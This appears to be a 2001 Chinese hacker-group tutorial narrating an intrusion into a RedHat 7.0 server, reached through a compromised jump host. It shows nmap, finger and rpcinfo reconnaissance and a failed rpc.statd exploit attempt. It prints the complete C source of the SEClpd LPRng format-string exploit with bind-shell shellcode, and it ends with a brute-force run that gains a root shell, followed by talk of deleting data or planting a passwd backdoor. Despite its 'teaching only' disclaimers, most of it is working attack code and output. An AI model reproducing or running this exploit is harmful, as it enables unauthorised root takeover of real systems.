RedHat Linux 7.0 入侵
/ns/hk/hacker/data/20010426001044.htm
下 载:http://210.77.146.151/images/hlc/files/seclpd.c
RedHat Linux 7.0 入侵
我写此文的目的不在于教人入侵,而是为了提高自身的技术和加强网络管理员的安全防范意识。仅此而已!粗心大意的网络管理员应该明白:由于你们一个小小的操作失误可能会导致整个网络全面沦陷!本文主要是围绕UNIX下面的一个小小的服务进程(LPD:网络打印服务)的攻击而进行的。
让俺慢慢道来…..
咳…咳…先给我上茶!(什么?! 没有?俺不说了!!)呵呵……开开玩笑,言归正传.首先确定目标,随便找上台湾一个搜索引擎。随便挑一个吧!假设是:www.fbi.gov.tw。^__^
先让俺看看是不是连得上:
C:\ping www.fbi.gov.tw
Pinging www.fbi.gov.tw[202.106.184.200] with 32 bytes of data:
Reply from 202.106.184.200: bytes=32 time=541ms TTL=244
Reply from 202.106.184.200: bytes=32 time=620ms TTL=244
Reply from 202.106.184.200: bytes=32 time=651ms TTL=244
Reply from 202.106.184.200: bytes=32 time=511ms TTL=244
Ping statistics for 202.106.184.200:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 511ms, Maximum = 651ms, Average = 580ms
嘻嘻―不但连得上,速度还不错……
先telnet看看banner:
C:\>telnet www.fbi.gov.tw
遗失对主机的连接。
哈哈……看来把telnet服务给shut掉了!再试试ftp
C:\>ftp www.fbi.gov.tw
Connected to www.fbi.gov.tw.
220 fbi-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.
User (www.fbi.gov.tw:(none)):
呵~~wu-2.6.1看来有点眉目了。这台机器像是大名鼎鼎的…………对!RedHat7.0!没错就是她了!首先必须确认一下,连上俺的跳板:
C:\>telnet xxx.xxx.xxx.xxx
Red Hat Linux release 7.0 (Guinness)
Kernel 2.2.16-22smp on an i686
login: fetdog
Password:
bash-2.04$
呵呵~~这是我在台湾的一台跳板。RH7的哦!等下我就会告诉你们拿这些肉鸡办法……拿上nmap扫描器,看看其中的奥妙~~~
bash-2.04$nmap -sT -O www.fbi.gov.tw
Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )
WARNING! The following files exist and are readable: /usr/local/sha
-services and ./nmap-services. I am choosing /usr/local/share/nmap/
s for security reasons. set NMAPDIR=. to give priority to files in
irectory
Interesting ports on (www.fbi.gov.tw):
(The 1520 ports scanned but not shown below are in state: closed)
Port State Service
25/tcp open smtp
79/tcp open finger
80/tcp open http
111/tcp open sunrpc
113/tcp open auth
443/tcp open https
513/tcp open login
514/tcp open shell
515/tcp open printer
587/tcp open submission
1024/tcp open kdm
TCP Sequence Prediction: Class=random positive increments
Difficulty=3247917 (Good luck!)
Remote operating system guess: Linux 2.1.122 - 2.2.16
Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds
恰恰!!打开的端口还挺多的嘛!不错……不错……。79/tcp finger?呵呵~先看看这个,不过linux没有finger用户列表这个漏洞,不管它俺先看看有没有倒霉鬼。
bash-2.04$finger @www.fbi.gov.tw
[www.fbi.gov.tw]
No one logged on.
shit!怎么会没人!开门!给我开门!:(……再看看111/tcp sunrpc。嘿嘿……近来rpc漏洞风行,不知道RH7这个东东会不会有?管它呢,先看看再说!
bash-2.04$rpcinfo -p www.fbi.gov.tw
program vers proto port service
100000 2 tcp 111 rpcbind
100000 2 udp 111 rpcbind
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100024 1 udp 1025 status
100024 1 tcp 1024 status
看来有rpc.statd服务。等俺来看看能不能远程溢出拿个rootshell。哈哈!这个rpc.statd远程溢出是我在hack.co.za找到的。等俺先来看看帮助。嘻嘻~~
bash-2.04$./statdx -h
statdx by ron1n
Usage: stat [-t] [-p port] [-a addr] [-l len]
[-o offset] [-w num] [-s secs] [-d type]
-t attack a tcp dispatcher [udp]
-p rpc.statd serves requests on [query]
-a the stack address of the buffer is
-l the length of the buffer is [1024]
-o the offset to return to is [600]
-w the number of dwords to wipe is [9]
-s set timeout in seconds to [5]
-d use a hardcoded
Available types:
0 Redhat 6.2 (nfs-utils-0.1.6-2)
1 Redhat 6.1 (knfsd-1.4.7-7)
2 Redhat 6.0 (knfsd-1.2.2-4)
看来并不支持RH7。怎么办??让俺把0-2全部试试看再说!start……
bash-2.04$stat -d 0 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 (+str/+nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21
哈哈受到挫折,再试……
bash-2.04$stat -d 1 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 (+str/+nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21
一样!继续……
bash-2.04$stat -d 1 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 (+str/+nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21
我烤!!烤烤烤!rpc.statd行不通啊!让我想想看……RH7应该有个远程溢出……好像是lp服务造成的。让俺去找找看。哈哈~~找到了……“seclpd.c”应该是这个东东了。 以下程序也可以在黑盟下载。
―――――以下代码仅供教学使用,决不能用来进行恶意攻击―――――
/*
* Welcome to http://hlc.cnroot.com/
* Run: ./SEClpd victim brute -t type
* Try first ./SEClpd victim -t 0 then try the brute.
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ADDRESS_BUFFER_SIZE 32+4
#define APPEND_BUFFER_SIZE 52
#define FORMAT_LENGTH 512-8
#define NOPCOUNT 200
#define SHELLCODE_COUNT 1030
#define DELAY 50000 /* usecs */
#define OFFSET_LIMIT 5000
char shellcode[] =
"\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
struct target
{
char *os_name;
u_long eip_address;
u_long shellcode_address;
unsigned int position;
int written_bytes;
int align;
};
struct target targets[] =
{
{ "RedHat 7.0 - Guinesss ", 0xbffff3ec, 0L, 300, 70, 2, },
{ "RedHat 7.0 - Guinesss-dev", 0xbffff12c, 0L, 300, 70, 2, },
{ NULL, 0L, 0L, 0, 0, 0 }
};
static char address_buffer[ADDRESS_BUFFER_SIZE+1];
static char append_buffer[APPEND_BUFFER_SIZE+1];
static char shellcode_buffer[1024];
static char *hostname=NULL;
static int offset;
static struct hostent *he;
int type=-1;
int brute=-1, failure=1;
void calculate_rets(u_long eip_addr, u_long shellcode_addr, u_int previous, u_int addr_loc)
{
int i;
unsigned int tmp = 0;
unsigned int copied = previous;
unsigned int num[4] =
{
(unsigned int) (shellcode_addr & 0x000000ff),
(unsigned int)((shellcode_addr & 0x0000ff00) >> 8),
(unsigned int)((shellcode_addr & 0x00ff0000) >> 16),
(unsigned int)((shellcode_addr & 0xff000000) >> 24)
};
memset (address_buffer, '\0', sizeof(address_buffer));
memset (append_buffer, '\0', sizeof(append_buffer));
for (i = 0; i < 4; i++)
{
while (copied > 0x100)
copied -= 0x100;
if ( (i > 0) && (num[i-1] == num[i]) )
sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);
else if (copied < num[i])
{
if ( (num[i] - copied) <= 10)
{
sprintf (append_buffer+strlen(append_buffer), "%.*s",
(int)(num[i] - copied), "security.is!");
copied += (num[i] - copied);
sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); } else {
sprintf (append_buffer+strlen(append_buffer), "%%.%du",
num[i] - copied);
copied += (num[i] - copied);
sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); }
} else {
tmp = ((num[i] + 0x100) - copied);
sprintf (append_buffer+strlen(append_buffer), "%%.%du", tmp);
copied += ((num[i] + 0x100) - copied);
sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);
}
sprintf (address_buffer+strlen(address_buffer), "%c%c%c%c",
(unsigned char) ((eip_addr+i) & 0x000000ff),
(unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8),
(unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16),
(unsigned char)(((eip_addr+i) & 0xff000000) >> 24));
}
while (strlen(address_buffer) < ADDRESS_BUFFER_SIZE)
strcat (address_buffer, "X");
#ifdef DEBUG
printf ("\nGeneration complete:\nAddress: ");
for (i = 0; i < strlen(address_buffer); i++)
{
if ( ((i % 4) == 0) && (i > 0) )
printf (".");
printf ("%02x", (unsigned char)address_buffer[i]);
}
printf ("\nAppend: %s\n", append_buffer);
#endif
return;
}
char *create_malicious_string(void)
{
static char format_buffer[FORMAT_LENGTH+1];
long addr1,addr2;
int i;
memset (format_buffer, '\0', sizeof(format_buffer));
targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT;
addr1 = targets[type].eip_address;
addr2 = targets[type].shellcode_address;
calculate_rets (addr1, addr2,targets[type].written_bytes, targets[type].position);
(void)snprintf (format_buffer, sizeof(format_buffer)-1, "%.*s%s",
targets[type].align, "BBBB", address_buffer);
strncpy (address_buffer, format_buffer, sizeof(address_buffer)-1);
strncpy (format_buffer, append_buffer, sizeof(format_buffer)-1);
for(i = 0 ; i < NOPCOUNT ; i++)
strcat(format_buffer, "\x90");
strcat(format_buffer, shellcode);
return (format_buffer);
}
int connect_victim()
{
int sockfd, n;
struct sockaddr_in s;
fd_set fd_stat;
char buff[1024];
static char testcmd[256] = "/bin/uname -a ; id ;\r\n";
s.sin_family = AF_INET;
s.sin_port = htons (3879);
s.sin_addr.s_addr = *(u_long *)he->h_addr;
if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
printf ("--- [5] Unable to create socket!\n");
printf("Exploit failed!\n");
return -1;
}
if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
{
return -1;
}
if(brute)
printf("+++ The eip_address is 0x%x\n\n", targets[type].eip_address);
printf("- [+] shell located on %s\n", hostname);
printf("- [+] Enter Commands at will\n\n");
failure = -1;
FD_ZERO(&fd_stat);
FD_SET(sockfd, &fd_stat);
send(sockfd, testcmd, strlen(testcmd), 0);
while(1) {
FD_SET(sockfd,&fd_stat);
FD_SET(0,&fd_stat);
if(select(sockfd+1,&fd_stat,NULL,NULL,NULL)<0) break;
if( FD_ISSET(sockfd, &fd_stat) ) {
if((n=read(sockfd,buff,sizeof(buff)))<0){
fprintf(stderr, "EOF\n");
return 2;
}
if(write(1,buff,n)<0)break;
}
if ( FD_ISSET(0, &fd_stat) ) {
if((n=read(0,buff,sizeof(buff)))<0){
fprintf(stderr,"EOF\n");
return 2;
}
if(send(sockfd,buff,n,0)<0) break;
}
}
}
void send_code(char *exploit_buffer)
{
int sockfd, n;
struct sockaddr_in s;
fd_set fd_stat;
char recv[1024];
static char testcmd[256] = "/bin/uname -a ; id ;\r\n";
s.sin_family = AF_INET;
s.sin_port = htons (515);
s.sin_addr.s_addr = *(u_long *)he->h_addr;
if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
printf ("--- [5] Unable to create socket!\n");
printf("Exploit failed!\n");
exit(-1);
}
if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
{
printf ("--- [5] Unable to connect to %s\n", hostname);
printf("Exploit failed, %s is not running LPD!\n", hostname);
exit(-1);
}
usleep(DELAY);
if(write (sockfd, exploit_buffer, strlen(exploit_buffer)) < 0)
{
printf ("Couldn't write to socket %d", sockfd);
printf ("Exploit failed\n");
exit(2);
}
close(sockfd);
connect_victim();
}
void usage(char *program)
{
int i=0;
printf("SEClpd by DiGiT of ADM/security.is ! \n\n");
printf("Usage: %s victim [\"brute\"] -t type [-o offset] [-a align] [-p position] [-r eip_addr] [-c shell_addr] [-w written_bytes] \n\n", program);
printf("ie: ./SEClpd localhost -t 0 For most redhat 7.0 boxes\n");
printf("ie: ./SEClpd localhost brute -t 0 For brute forcing all redhat 7.0 boxes\n");
printf("Types:\n\n");
while( targets[i].os_name != NULL)
printf ("[ Type %d: [ %s ]\n", i++, targets[i].os_name);
}
int main(int argc, char **argv)
{
char exploit_buffer[1024];
char *format = NULL;
int c, brutecount=0;
if(argc < 3)
{
usage(argv[0]);
return 1;
}
hostname = argv[1];
if(!strncmp(argv[2], "brute", 5)) brute = 1;
while(( c = getopt (argc, argv, "t:r:c:a:o:p:w:k"))!= EOF){
switch (c)
{
case 't':
type = atoi(optarg);
break;
case 'r':
targets[type].eip_address = strtoul(optarg, NULL, 16);
break;
case 'c':
targets[type].shellcode_address = strtoul(optarg, NULL, 16);
break;
case 'a':
targets[type].align = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case 'p':
targets[type].position = atoi(optarg);
break;
case 'w':
targets[type].written_bytes = atoi(optarg);
break;
default:
usage(argv[0]);
return 1;
}
}
if(type < 0)
{
printf("You must specify a type!\n");
printf("example: ./SEClpd victim -t 0\n");
return -1;
}
if ( (he = gethostbyname (hostname)) == NULL)
{
herror("gethostbyname");
exit(1);
}
targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT;
printf("+++ Security.is remote exploit for LPRng/lpd by DiGiT\n\n");
printf("+++ Exploit information\n");
printf("+++ Victim: %s\n", hostname);
printf("+++ Type: %d - %s\n", type, targets[type].os_name);
printf("+++ Eip address: 0x%x\n", targets[type].eip_address);
printf("+++ Shellcode address: 0x%x\n", targets[type].shellcode_address);
printf("+++ Position: %d\n", targets[type].position);
printf("+++ Alignment: %d\n", targets[type].align);
printf("+++ Offset %d\n", offset);
printf("\n");
printf("+++ Attacking %s with our format string\n", hostname);
if( brute > 0 )
{
printf("+++ Brute force man, relax and enjoy the ride ;>\n");
targets[type].eip_address = 0xbffffff0;
while(failure)
{
memset(exploit_buffer, '\0', sizeof(exploit_buffer));
format = create_malicious_string();
strcpy(exploit_buffer, address_buffer);
strcat(exploit_buffer, format);
strcat(exploit_buffer, "\n");
send_code(exploit_buffer);
targets[type].eip_address = 0xbffffff0 - offset;
offset+=4;
if (offset > OFFSET_LIMIT) {
printf("+++ Offset limit hit, ending brute mode ;<\n");
return -1;
}
}
}
else
format = create_malicious_string();
strcpy(exploit_buffer, address_buffer);
strcat(exploit_buffer, format);
strcat(exploit_buffer, "\n");
send_code(exploit_buffer);
printf("Argh exploit failed$#%! try brute force!\n");
return (-1);
}
――――――――――――――――――――――――――――――――
把代码传上跳板。用gcc进行编译……
bash-2.04$gcc -o seclpd seclpd.c 嗯……pass~让我看看说明先。
bash-2.04$./seclpd
SEClpd by DiGiT of ADM/security.is !
Usage: seclpd victim ["brute"] -t type [-o offset] [-a align] [-p position]
[-r eip_addr] [-c shell_addr] [-w written_bytes]
ie: ./SEClpd localhost -t 0 For most redhat 7.0 boxes
ie: ./SEClpd localhost brute -t 0 For brute forcing all redhat 7.0 boxes
Types:
[ Type 0: [ RedHat 7.0 - Guinesss ]
[ Type 1: [ RedHat 7.0 - Guinesss-dev ]
看来就是这个了。没错……Wow……开始hack!
bash-2.04$./seclpd www.fbi.gov.tw -t 0
+++ Security.is remote exploit for LPRng/lpd by DiGiT
+++ Exploit information
+++ Victim: www.fbi.gov.tw
+++ Type: 0 - RedHat 7.0 - Guinesss
+++ Eip address: 0xbffff3ec
+++ Shellcode address: 0xbffff7f2
+++ Position: 300
+++ Alignment: 2
+++ Offset 0
+++ Attacking www.fbi.gov.tw with our format string
Argh exploit failed$#%! try brute force!
爷爷的!又是failed……烤!!继续试……
bash-2.04$./seclpd www.fbi.gov.tw -t 1
+++ Security.is remote exploit for LPRng/lpd by DiGiT
+++ Exploit information
+++ Victim: www.fbi.gov.tw
+++ Type: 1 - RedHat 7.0 - Guinesss-dev
+++ Eip address: 0xbffff12c
+++ Shellcode address: 0xbffff532
+++ Position: 300
+++ Alignment: 2
+++ Offset 0
+++ Attacking www.fbi.gov.tw with our format string
Argh exploit failed$#%! try brute force!
看来一定要来个brute了!继续……继续……
bash-2.04$./seclpd www.fbi.gov.tw brute -t 0
+++ Security.is remote exploit for LPRng/lpd by DiGiT
+++ Exploit information
+++ Victim: www.fbi.gov.tw
+++ Type: 0 - RedHat 7.0 - Guinesss
+++ Eip address: 0xbffff3ec
+++ Shellcode address: 0xbffff7f2
+++ Position: 300
+++ Alignment: 2
+++ Offset 0
+++ Attacking www.fbi.gov.tw with our format string
+++ Brute force man, relax and enjoy the ride ;>
哈哈~~brute暴力破解。看你出不出shell!现在要等上一会儿……去泡杯coffee慢慢来。(什么!没coffee?tea!这个也行!)…………过了大约一杯coffee的时间。也就是5-8分钟左右,就会有结果了。(什么!什么!5-8分钟你喝了5杯!我倒~~~)……出来了。哈哈~~
- [+] shell located on www.fbi.gov.tw
- [+] Enter Commands at will
Linux FBI.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown
uid=0(root) gid=7(lp)
Well……哈哈~uid=0(root)哇哈哈哈哈…………先在你是root啦!可以为所欲为了~~把它的东西全部删了~~哈哈……太过火了~~还是在passwd中加个后门算了~~至于怎么加,这就不在本文的范围内了……^___^
Good Luck………………
Written By GoGo from H.L.C
/*中华黑盟版权所有,转载请注明出处!http://hlc.cnroot.com*/